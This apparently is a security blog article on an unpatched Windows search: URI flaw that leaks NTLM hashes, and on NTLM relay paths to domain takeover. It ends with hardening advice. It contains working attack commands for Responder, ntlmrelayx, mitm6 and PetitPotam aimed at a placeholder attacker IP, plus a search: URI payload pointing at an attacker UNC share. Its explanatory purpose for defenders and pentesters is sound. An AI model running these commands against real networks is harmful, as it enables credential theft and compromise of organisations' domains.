The Unpatched Windows search: URI NTLM Leak, and Why Relay Attacks Are Still the Easiest Way Into a Domain

An attacker can collect your users' Windows credentials with nothing more than a link, and Microsoft has decided not to fix the flaw that makes it possible. On April 15, 2026, Huntress researcher Andrew Schwartz reported that the Windows search: URI handler leaks a user's Net-NTLMv2 authentication hash to any server an attacker names in the link. Microsoft reviewed the report and declined to ship a patch, replying that "only Important and Critical severity cases meet our bar for servicing." No CVE was assigned. The technique works on current, fully updated Windows.

On its own, a leaked Net-NTLMv2 hash is a slow offline cracking job. The reason this matters is what a hash becomes when you stop trying to crack it and start relaying it. NTLM relay turns a leaked authentication into live access on file servers, databases, and very often the domain itself. The new search: bug is the easiest credential-capture trick to land in a while, and the relay tradecraft that follows it has not needed to change in a decade.

Who this affects, and who can stop reading

If your company runs Active Directory with NTLM still enabled - which is very close to every Windows network in existence - this is your problem, not a researcher's curiosity. If you have already disabled NTLM end to end, enforce SMB signing on every host and not just your domain controllers, and put Extended Protection in front of AD Certificate Services, then you are in the small minority who can read the rest as confirmation. Everyone else is exposed to the exact path internal penetration tests have used to reach Domain Admin for years, and a clicked link now opens the front of it.

I am writing this one for the practitioners and the pentesters as much as the owners, because the lesson lands harder from the attacker's chair. On internal penetration tests, the fastest route to Domain Admin is rarely a clever exploit or a fresh CVE. It is NTLM relay, and it has been for as long as I have been doing this work. The pattern repeats on engagement after engagement: get onto the network, poison name resolution, wait a few minutes for a Windows machine to authenticate to the wrong place, and relay that authentication to a server that never asked for a signature. From a single relayed login to control of the domain is often a coffee break, not a project.

How an NTLM relay attack actually works

NTLM authenticates with a challenge and a response. When a Windows machine connects to a service, the service sends a challenge, and the client answers with a response computed from the user's password hash. An attacker who sits in the middle has two options. The slow one is to capture that response and crack it offline, which works only for weak passwords and takes time. The fast one is to relay it: stand up a rogue server, get a victim to authenticate to it, and forward that authentication, in real time, to a third system. The attacker never learns the password and never needs to. They simply act as the victim on whatever they relayed to.

The relay only succeeds where the target does not require signing or channel binding to prove the session was not forwarded. That is why the choice of relay target is the whole game:

• SMB on a member server that does not enforce signing - relay in, run a command, dump the local SAM, drop a payload.
• LDAP or LDAPS on a domain controller - grant the attacker's account rights, or write a resource-based constrained delegation entry that lets them impersonate any user on a target host.
• AD Certificate Services web enrollment - the ESC8 path. Relay a domain controller's machine account to the CA over HTTP, request a certificate as that DC, then use the certificate to get a Kerberos ticket and run DCSync. Microsoft documented the relay risk and the fix in KB5005413.

The toolchain pentesters reach for

None of this is exotic. The tooling is mature, free, and the same on most internal assessments.

The four tools that do most of the work

• Responder - poisons LLMNR, NBT-NS, and mDNS to answer broadcast name lookups, so a mistyped share name authenticates to the attacker instead.
• Impacket's ntlmrelayx.py - the relay engine. It stands up rogue SMB and HTTP listeners and forwards captured authentication to SMB, LDAP, HTTP, MSSQL, and AD CS targets. It lives in the Fortra Impacket project.
• mitm6 - abuses Windows' default preference for IPv6 to become the network's DNS server, then serves a malicious WPAD entry to coerce authentication.
• Coercion primitives - PetitPotam (MS-EFSRPC), the PrinterBug and SpoolSample (MS-RPRN), Coercer, and DFSCoerce force a chosen server, including a domain controller, to authenticate to the attacker on demand.

A capture-or-relay run is two commands. Responder collects hashes for offline cracking; point the relay at unsigned hosts and you skip cracking entirely:

# Capture Net-NTLMv2 by poisoning broadcast name resolution
sudo responder -I eth0 -wv

# Or skip cracking: relay the authentication straight to hosts that
# do not enforce SMB signing, and run as the victim who authenticated
ntlmrelayx.py -tf smb_targets.txt -smb2support -c "whoami /all"

The domain-takeover variants are just a different relay target. Combine an IPv6 takeover with an LDAPS relay to write a delegation entry, or coerce a domain controller and relay it to the CA:

# Path A - mitm6 takes over IPv6 DNS, relay to the DC over LDAPS,
# configure resource-based constrained delegation
mitm6 -d corp.example
ntlmrelayx.py -6 -t ldaps://dc01.corp.example -wh wpad.corp.example --delegate-access

# Path B - coerce DC01 with PetitPotam, relay its machine account
# to AD CS web enrollment, request a cert as the DC (ESC8)
python3 PetitPotam.py "$ATTACKER_IP" dc01.corp.example
ntlmrelayx.py -t http://ca01.corp.example/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

With the certificate from Path B you request a Kerberos ticket-granting ticket for the domain controller and run DCSync, which pulls every password hash in the domain. That is the coffee-break version of total compromise, and it starts with one captured authentication.

Why the search: URI bug makes this easier

Every path above has historically assumed one thing: the attacker is already inside, either running Responder on the LAN or holding a coercion primitive against a server. The search: URI leak chips away at that assumption for the capture step. An attacker no longer has to be on the wire to make a victim authenticate. They hand the victim a link. When Windows opens a search: URI whose crumb=location parameter points at an attacker-controlled UNC path, it fires off SMB authentication to that path on its own, and the attacker's server records the Net-NTLMv2 hash:

search:query=Q2-report&crumb=location:\\malicious-host\share

That string drops into an HTML email, a chat message, a document, or a booby-trapped web page. It is the same family of one-click coercion that gave us CVE-2023-35636 in Outlook and the search-ms crumb=location primitive Varonis documented in 2024, and it is a sibling of CVE-2026-33829 in the Snipping Tool, which Microsoft did patch in April 2026. Microsoft fixed several of these and waved this one through as not meeting the bar. For an attacker, the capture step is now a phishing payload and the relay step is unchanged.

One honest caveat, because it sets the relevance verdict. A hash captured from a victim out on the internet is most useful when the attacker can also reach an internal host to relay it to; a purely external capture usually drops back to offline cracking. The realistic kill chain is a phish that lands inside, or an attacker already on the LAN who now has a quieter, click-driven way to harvest authentications without lighting up the network with Responder.

Why this still works on almost every company

NTLM is more than thirty years old and security teams have been told to retire it for most of that time. It is still enabled and still used as a fallback on nearly every Active Directory network, because some application, scanner, or appliance still depends on it. SMB signing was historically required only on domain controllers, not member servers; Windows 11 24H2 began requiring it by default on new installs, but the large installed base of older clients and servers does not enforce it. LLMNR and NBT-NS ship switched on. AD CS web enrollment is routinely stood up over plain HTTP with no Extended Protection. Each of those is a default, and defaults are exactly what an internal assessment walks in and finds. The new bug does not change that math. It just adds one more way to start the chain.

Sign SMB everywhere, then start retiring NTLM

The fix for the relay is not the patch Microsoft declined to write. Enforce SMB signing on every host, not only on domain controllers, so a captured hash cannot be replayed against your servers. Turn on Extended Protection for Authentication on AD CS and LDAP, or follow the KB5005413 guidance to take HTTP certificate enrollment off the table. Disable LLMNR and NBT-NS through Group Policy. Block outbound SMB on TCP 445 and 139 at the perimeter, which is also the mitigation Huntress recommends, so a clicked search: link cannot reach an attacker's collector. Microsoft's own SMB security hardening guidance walks through enforcing signing on both ends. Then begin the longer project of auditing and removing NTLM with the Restrict NTLM policies. For the pentesters reading this: the search: handler is one more capture primitive to carry into an assessment, and the relay you already know does the rest.